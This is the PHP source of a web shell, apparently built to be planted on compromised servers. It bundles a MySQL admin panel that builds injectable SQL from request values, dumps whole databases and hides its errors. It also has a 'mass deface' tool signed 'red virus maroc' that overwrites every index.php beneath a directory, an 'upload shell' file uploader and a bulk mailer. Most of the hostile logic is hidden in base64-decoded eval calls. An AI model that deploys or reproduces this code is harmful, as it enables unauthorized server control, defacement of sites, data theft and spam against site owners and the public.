			if( $type == "enum" || $type == "set" ) {
				echo "<td>\n";
				if( $type == "enum" )
					echo "<select name=$fieldname>\n";
				else if( $type == "set" )
					echo "<select name=$fieldname size=10 multiple>\n";
				while( $str = strtok( "'" ) ) {
					echo "<option>$str\n";
					strtok( "'" );
				}
				echo "</select>\n";
				echo "</td>\n";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n";
				else
					echo "<td><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n";
			}
		} else if( $cmd == "edit" ) {
			$type = strtok( $fieldtype, " (,)\n" );
			if( $type == "enum" || $type == "set" ) {
				echo "<td>\n";
				if( $type == "enum" )
					echo "<select name=$fieldname>\n";
				else if( $type == "set" )
					echo "<select name=$fieldname size=10 multiple>\n";
				while( $str = strtok( "'" ) ) {
					if( $value == $str )
						echo "<option selected>$str\n";
					else
						echo "<option>$str\n";
					strtok( "'" );
				}
				echo "</select>\n";
				echo "</td>\n";
			} else {
				if( $len < 40 )
					echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n";
				else
					echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n";
			}
		}
		echo "</tr>";
	}
	echo "</table><p>\n";
	if( $cmd == "add" )
		echo "<input type=submit value='Add Data'>\n";
	else if( $cmd == "edit" )
		echo "<input type=submit value='Edit Data'>\n";
	echo "<input type=button value='Cancel' onClick='history.back()'>\n";
	echo "</form>\n";
}

function manageData_submit( $cmd ) {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	mysql_select_db( $dbname, $mysqlHandle );
	if( $cmd == "add" )
		$queryStr = "INSERT INTO $tablename VALUES (";
	else if( $cmd == "edit" )
		$queryStr = "REPLACE INTO $tablename VALUES (";
	for( $i = 0; $i < $num-1; $i++ ) {
		$field = mysql_fetch_field( $pResult );
		$func = $GLOBALS[$field->name."_function"];
		if( $func != "" )
			$queryStr .= " $func(";
		if( $field->numeric == 1 ) {
			$queryStr .= $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "),";
			else
				$queryStr .= ",";
		} else {
			$queryStr .= "'" . $GLOBALS[$field->name];
			if( $func != "" )
				$queryStr .= "'),";
			else
				$queryStr .= "',";
		}
	}
	$field = mysql_fetch_field( $pResult );
	if( $field->numeric == 1 )
		$queryStr .= $GLOBALS[$field->name] . ")";
	else 
		$queryStr .= "'" . $GLOBALS[$field->name] . "')";

	mysql_query( $queryStr , $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function deleteData() {
	global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg;

	$pResult = mysql_list_fields( $dbname, $tablename );
	$num = mysql_num_fields( $pResult );

	$key = "";
	for( $i = 0; $i < $num; $i++ ) {
		$field = mysql_fetch_field( $pResult, $i );
		if( $field->primary_key == 1 )
			if( $field->numeric == 1 )
				$key .= $field->name . "=" . $GLOBALS[$field->name] . " AND ";
			else
				$key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND ";
	}
	$key = substr( $key, 0, strlen($key)-4 );

	mysql_select_db( $dbname, $mysqlHandle );
	$queryStr =  "DELETE FROM $tablename WHERE $key";
	mysql_query( $queryStr, $mysqlHandle );
	$errMsg = mysql_error();

	viewData( "" );
}

function fetch_table_dump_sql($table)
{
	global $mysqlHandle,$dbname;
	
	mysql_select_db( $dbname, $mysqlHandle );
	$query_id = mysql_query("SHOW CREATE TABLE $table",$mysqlHandle);
	$tabledump = mysql_fetch_array($query_id, MYSQL_ASSOC);
	$tabledump = "DROP TABLE IF EXISTS $table;\n" . $tabledump['Create Table'] . ";\n\n";

	echo $tabledump;

	// get data
	$rows = mysql_query("SELECT * FROM $table",$mysqlHandle);
	$numfields=mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows, MYSQL_NUM))
	{
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter = -1;
		$firstfield = 1;
		// get each field's data
		while (++$fieldcounter < $numfields)
		{
			if (!$firstfield)
			{
				$tabledump .= ', ';
			}
			else
			{
				$firstfield = 0;
			}

			if (!isset($row["$fieldcounter"]))
			{
				$tabledump .= 'NULL';
			}
			else
			{
				$tabledump .= "'" . mysql_escape_string($row["$fieldcounter"]) . "'";
			}
		}

		$tabledump .= ");\n";

		echo $tabledump;

	}
	@mysql_free_result($rows);
}

function dump() {
	global $mysqlHandle, $action, $dbname, $tablename;

	if( $action == "dumpTable" ){

		header("Content-disposition: filename=$tablename.sql");
		header('Content-type: unknown/unknown');
		fetch_table_dump_sql($tablename);
		echo "\n\n\n";
		echo "\r\n\r\n\r\n### $tablename TABLE DUMP COMPLETED ###";
		exit;		
				
	}else{
		header("Content-disposition: filename=$dbname.sql");
		header('Content-type: unknown/unknown');
		
		mysql_select_db( $dbname, $mysqlHandle );
		$query_id = mysql_query("SHOW tables",$mysqlHandle);
		while ($row = mysql_fetch_array($query_id, MYSQL_NUM))
		{
				fetch_table_dump_sql($row[0]);
				echo "\n\n\n";
				echo "\r\n\r\n\r\n### $row[0] TABLE DUMP COMPLETED ###";
				echo "\n\n\n";
		}
		echo "\r\n\r\n\r\n### $dbname DATABASE DUMP COMPLETED ###";
		exit;		

	}

}

function utils() {
	global $PHP_SELF, $command;
	echo "<h1>Utilities</h1>\n";
	if( $command == "" || substr( $command, 0, 5 ) == "flush" ) {
		echo "<hr>\n";
		echo "Show\n";
		echo "<ul>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_status'>Status</a>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_variables'>Variables</a>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=show_processlist'>Processlist</a>\n";
		echo "</ul>\n";
		echo "Flush\n";
		echo "<ul>\n";
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_hosts'>Hosts</a>\n";
		if( $command == "flush_hosts" ) {
			if( mysql_query( "Flush hosts" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_logs'>Logs</a>\n";
		if( $command == "flush_logs" ) {
			if( mysql_query( "Flush logs" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_privileges'>Privileges</a>\n";
		if( $command == "flush_privileges" ) {
			if( mysql_query( "Flush privileges" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_tables'>Tables</a>\n";
		if( $command == "flush_tables" ) {
			if( mysql_query( "Flush tables" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "<li><a href='$PHP_SELF?action=utils&command=flush_status'>Status</a>\n";
		if( $command == "flush_status" ) {
			if( mysql_query( "Flush status" ) != false )
				echo "<font size=2 color=red>- Success</font>";
			else
				echo "<font size=2 color=red>- Fail</font>";
		}
		echo "</ul>\n";
	} else {
		$queryStr = ereg_replace( "_", " ", $command );
		$pResult = mysql_query( $queryStr );
		if( $pResult == false ) {
			echo "Fail";
			return;
		}
		$col = mysql_num_fields( $pResult );

		echo "<p class=location>$queryStr</p>\n";
		echo "<hr>\n";

		echo "<table cellspacing=1 cellpadding=2 border=0>\n";
		echo "<tr>\n";
		for( $i = 0; $i < $col; $i++ ) {
			$field = mysql_fetch_field( $pResult, $i );
			echo "<th>".$field->name."</th>\n";
		}
		echo "</tr>\n";

		while( 1 ) {
			$rowArray = mysql_fetch_row( $pResult );
			if( $rowArray == false ) break;
			echo "<tr>\n";
			for( $j = 0; $j < $col; $j++ )
				echo "<td>".htmlspecialchars( $rowArray[$j] )."</td>\n";
			echo "</tr>\n";
		}
		echo "</table>\n";
	}
}

function header_html() {
	global $PHP_SELF;
	
echo '
<html>
<head>
<style type="text/css">
<!--
p.location {
	color: #11bb33;
	font-size: small;
}
h1 {
	color: #A4A260;
}
th {
	background-color: #BDBE42;
	color: #FFFFFF;
	font-size: x-small;
}
td {
	background-color: #DEDFA5;
	font-size: x-small;
}
form {
	margin-top: 0;
	margin-bottom: 0;
}
a {
	text-decoration:none;
	color: #848200;
	font-size:x-small;
}
a:link {
}
a:hover {
	background-color:#EEEFD5;
	color:#646200;
	text-decoration:none               
}
//-->
</style>
</head>
<body>
';
}

function footer_html() {
	global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $USERNAME;

	echo "<hr>\n";
	echo "<font size=2 color=blue>[$USERNAME]</font> - \n";

	echo "<a href='$PHP_SELF?action=listDBs'>Database List</a> | \n";
	if( $tablename != "" )
		echo "<a href='$PHP_SELF?action=listTables&dbname=$dbname&tablename=$tablename'>Table List</a> | ";
	echo "<a href='$PHP_SELF?action=utils'>Utils</a> |\n";
	echo "<a href='$PHP_SELF?action=logout'>Logout</a>\n";
	echo "</font>\n";
	echo "</body>\n";
	echo "</html>\n";
}




//------------- MAIN ------------- //
error_reporting(0);
ini_set ('display_errors', 0);
ini_set ('log_errors', 0);

if( $action == "logon" || $action == "" || $action == "logout" )
	logon();
else if( $action == "logon_submit" )
	logon_submit();
else if( $action == "dumpTable" || $action == "dumpDB" ) {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
	dump();
} else {
	while( list($var, $value) = each($HTTP_COOKIE_VARS) ) {
		if( $var == "mysql_web_admin_username" ) $USERNAME = $value;
		if( $var == "mysql_web_admin_password" ) $PASSWORD = $value;
		if( $var == "mysql_web_admin_hostname" ) $HOSTNAME = $value;
	}
	echo "<!--";
	$mysqlHandle = mysql_pconnect( $HOSTNAME, $USERNAME, $PASSWORD );
	echo "-->";

	if( $mysqlHandle == false ) {
		echo "<html>\n";
		echo "<head>\n";
		echo "</head>\n";
		echo "<body>\n";
		echo "<table width=100% height=100%><tr><td><center>\n";
		echo "<h1>Wrong Password!</h1>\n";
		echo "<a href='$PHP_SELF?action=logon'>Logon</a>\n";
		echo "</center></td></tr></table>\n";
		echo "</body>\n";
		echo "</html>\n";
	} else {
		header_html();
		if( $action == "listDBs" )
			listDatabases();
		else if( $action == "createDB" )
			createDatabase();
		else if( $action == "dropDB" )
			dropDatabase();
		else if( $action == "listTables" )
			listTables();
		else if( $action == "createTable" )
			createTable();
		else if( $action == "dropTable" )
			dropTable();
		else if( $action == "viewSchema" )
			viewSchema();
		else if( $action == "query" )
			viewData( $queryStr );
		else if( $action == "addField" )
			manageField( "add" );
		else if( $action == "addField_submit" )
			manageField_submit( "add" );
		else if( $action == "editField" )
			manageField( "edit" );
		else if( $action == "editField_submit" )
			manageField_submit( "edit" );
		else if( $action == "dropField" )
			dropField();
		else if( $action == "viewData" )
			viewData( "" );
		else if( $action == "addData" )
			manageData( "add" );
		else if( $action == "addData_submit" )
			manageData_submit( "add" );
		else if( $action == "editData" )
			manageData( "edit" );
		else if( $action == "editData_submit" )
			manageData_submit( "edit" );
		else if( $action == "deleteData" )
			deleteData();
		else if( $action == "utils" )
			utils();

		mysql_close( $mysqlHandle);
		footer_html();
	}
}

?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php

}

else if (preg_match) {
}


?>

<?
///////////////////////////////////////////// mass deface ////////////////////////////////////////
if ($_GET['tha'] == 'mass') {
?>
<center>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
mass deface by red virus maroc
</center><br><br>
<?php eval(base64_decode("ZWNobyAiPGNlbnRlcj48dGV4dGFyZWEgc3R5bGU9J2JvcmRlcjoxcHggZG90dGVkICM1OUU4MTc7
ICBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXpl
OjhwdDsgY29sb3I6IzU5RTgxNycgcm93cz0nMTAnIGNvbHM9JzEwMCc+IjsKJGRlZmFjZXVybCA9
ICRfUE9TVFsnbWFzc2RlZmFjZXVybCddOwokZGlyID0gJF9QT1NUWydtYXNzZGVmYWNlZGlyJ107
CmVjaG8gJGRpci4iXG4iOwogCmlmIChpc19kaXIoJGRpcikpIHsKICAgIGlmICgkZGggPSBvcGVu
ZGlyKCRkaXIpKSB7CiAgICAgICAgd2hpbGUgKCgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgIT09IGZh
bHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGZpbGV0eXBlKCRkaXIuJGZpbGUpPT0i
ZGlyIil7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJG5ld2ZpbGU9JGRpci4kZmls
ZS4iL2luZGV4LnBocCI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAkbmV3
ZmlsZS4iXG4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghY29weSgkZGVm
YWNldXJsLCAkbmV3ZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGVjaG8gImZhaWxlZCB0byBjb3B5ICRmaWxlLi4uXG4iOwogICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAg
ICBjbG9zZWRpcigkZGgpOwogICAgfQp9CmVjaG8gIjwvdGV4dGFyZWE+PC9jZW50ZXI+Ijs=")); ?>

<center><br><br>
<td align=right>==========================================================</td><br><br>
<form action='<?php basename($_SERVER['PHP_SELF']); ?>' method='post'>
[+] Main Directory: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' value='<?php  echo getcwd() . "/"; ?>' name='massdefacedir'><br>
[+] Defacement Url: <input type='text' style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name='massdefaceurl'><br>
<input type='submit' name='execmassdeface' value='Goooo'></form></td>
</center> 



</body></html><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?php
}

else if (preg_match) {
}


?>
<?
////////////////////////////////// phpinfo /////////////////////////////////////
if ($_GET['tha'] == 'phpinfo') {
?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<center>
</center>
<?php eval(base64_decode("cGhwaW5mbygpOw==")); ?>
<?
}

else if (preg_match) {
}


?>
<?
///////////////////////////////////////////////// upload //////////////////////////////////////
if ($_GET['tha'] == 'upload') {

?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
 <font size='5' color='green'>
 upload shell :)
 </font> 
<br><br>  <?php eval(base64_decode("ZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgZW5jdHlwZT0ibXVsdGlwYXJ0L2Zv
cm0tZGF0YSIgbmFtZT0idXBsb2FkZXIiIGlkPSJ1cGxvYWRlciI+JzsgCgplY2hvICc8aW5wdXQg
IHR5cGU9ImZpbGUiIG5hbWU9ImZpbGUiIHNpemU9IjUwIj48aW5wdXQgIG5hbWU9Il91cGwiIHR5
cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT4nOyBpZiggJF9QT1NU
WydfdXBsJ10gPT0gIlVwbG9hZCIgKSB7IGlmKEBjb3B5KCRfRklMRVMKClsnZmlsZSddWyd0bXBf
bmFtZSddLCAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXSkpIHsgZWNobyAnPGI+RklsZSBVcGxvYWRl
ZCEhITwvYj48YnI+PGJyPic7IH0gZWxzZSB7IGVjaG8gJzxiPlVwbG9hZCBGYWlsICEhITwvYj48
YnI+PGJyPjwvZm9udD4nOyB9IH0=")); ?><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
 </center>
 </body>
 </haed>
 </html>
<?
}

else if (preg_match) {
}


?>

<?
////////////////////////////////////////// mailer /////////////////////////////////////////////
if ($_GET['tha'] == 'mailer') {

?>
<A HREF="?"><button size="4" style='width: 300px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:12pt; color:#59E817'>back</button></A><br><br>
<?php eval(base64_decode("aWdub3JlX3VzZXJfYWJvcnQoKTsKc2V0X3RpbWVfbGltaXQoMCk7CmZ1bmN0aW9uIGVudmlhbmRv
KCl7CiRtc2c9MTsKJGRlWzFdID0gJF9QT1NUWydkZSddOwokbm9tZVsxXSA9ICRfUE9TVFsnbm9t
ZSddOwokYXNzdW50b1sxXSA9ICRfUE9TVFsnYXNzdW50byddOwokbWVuc2FnZW1bMV0gPSAkX1BP
U1RbJ21lbnNhZ2VtJ107CiRtZW5zYWdlbVsxXSA9IHN0cmlwc2xhc2hlcygkbWVuc2FnZW1bMV0p
OwokZW1haWxzID0gJF9QT1NUWydlbWFpbHMnXTsKJGVtYWlsczIgPSBodG1sc3BlY2lhbGNoYXJz
KCRfUE9TVFsnZW1haWxzJ10pOwokcGFyYSA9IGV4cGxvZGUoIlxuIiwgJGVtYWlscyk7CiRuX2Vt
YWlscyA9IGNvdW50KCRwYXJhKTsKJHN2ID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107CiRlbiA9
ICRfU0VSVkVSIFsnUkVRVUVTVF9VUkknXTsKJGs4OCA9IEAkX1NFUlZFUlsiSFRUUF9SRUZFUkVS
Il07CiRmdWxsdXJsID0gIiIgLiAkazg4IC4gIjxicj48cD5FbWFpbHM6PGJyPjxURVhUQVJFQSBz
dHlsZT0nYm9yZGVyOjFweCBkb3R0ZWQgIzU5RTgxNzsgIGJhY2tncm91bmQtY29sb3I6IzBDMEMw
QzsgZm9udC1mYW1pbHk6VGFob21hOyBmb250LXNpemU6OHB0OyBjb2xvcjojNTlFODE3JyAKCnJv
d3M9NSBjb2xzPTEwMD4iLiRlbWFpbH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QT1NUWydlbWFpbHMnXTsKJG0yMiA9ICRpcC4iXG4iOwokbXNnODg3
MyA9ICIkYTQ1XG4kYjc1XG4kZjEyXG4kejEzXG4keDE0XG4kdDE1XG4kbTMwXG4kbTIyIjsKbWFp
bCgkZW1haWwsICRzdWJqOTgsICRtc2c4ODczLCAkZnJvbSk7")); ?></title>
<style type="text/css">
<!--
.style5 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
.style6 {font-size: 10px}
.style9 {color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10; }
-->
</style>
<body bgcolor="black">
<form id="form1" name="form1" method="post" action="">
<input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' type="hidden" name="vai" value="1">
<span class="style5"><? echo enviando(); ?></span>
<table width="100%" height="60%" border="0" bgcolor="green">
  <tr>
<td width="66"><span class="style5">Name:</span></td>
<td width="321"><span class="style9">

<label>
<input 
style='width: 580; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="nome" type="text" value="<? echo $_POST['nome'] ;?>" />
</label>
</span></td>
</tr>
<tr>
<td><span class="style5">From:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="de" type="text" value="<? echo $_POST['de'] ;?>" size="78" /></td>

</tr>
<tr>
<td><span class="style5">Subject:</span></td>
<td><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="assunto" value="<? echo $_POST['assunto'] ;?>"  /></td>
</tr>
<td><span class="style5">Letter:</span>
<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><span class="style5">Mailist:</span></td>

<td><span class="style9">


<p><textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="mensagem" cols="80" rows="20"><? echo stripslashes($_POST['mensagem']);?>
</textarea></p>
<textarea style='border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:8pt; color:#59E817' name="emails" cols="80" rows="8"></textarea>
</span></td>
</tr>

<tr>
  <td><span class="style6"></span></td>
  <td align="center"> <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span><input 
style='width: 580px; border:1px dotted #59E817;  background-color:#0C0C0C; font-family:Tahoma; font-size:10pt; color:#59E817' name="Submit" type="submit" value="Send " />
  <span class="style5"><font color="red" size="4">        <em><strong> </strong></em><strong></strong></font></span></td>
</tr>
<tr>
  </tr>
</table>
</form>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>
<?
}

else if (preg_match) { 
}


?>

<?php eval(base64_decode("Ly8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLyBzaGVsbCAvLy8vLy8vLy8vLy8vLy8vLy8v
Ly8vLy8KCiRodGFjY2VzcyA9ICcuaHRhY2Nlc3MnOwokaHRwYXNzd2QgPSAnLmh0cGFzc3dkJzsK
CgoKaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHsKCWFycmF5X3dhbGsoJF9HRVQsICdzdHJp
cCcpOwoJYXJyYXlfd2FsaygkX1BPU1QsICdzdHJpcCcpOwoJYXJyYXlfd2FsaygkX1JFUVVFU1Qs
ICdzdHJpcCcpOwp9CgppZiAoYXJyYXlfa2V5X2V4aXN0cygnaW1hZ2UnLCAkX0dFVCkpIHsKCWhl
YWRlcignQ29udGVudC1UeXBlOiBpbWFnZS9naWYnKTsKCWRpZShnZXRpbWFnZSgkX0dFVFsnaW1h
Z2UnXSkpOwp9CgppZiAoIWZ1bmN0aW9uX2V4aXN0cygnbHN0YXQnKSkgewoJZnVuY3Rpb24gbHN0
YXQgKCRmaWxlbmFtZSkgewoJCXJldHVybiBzdGF0KCRmaWxlbmFtZSk7Cgl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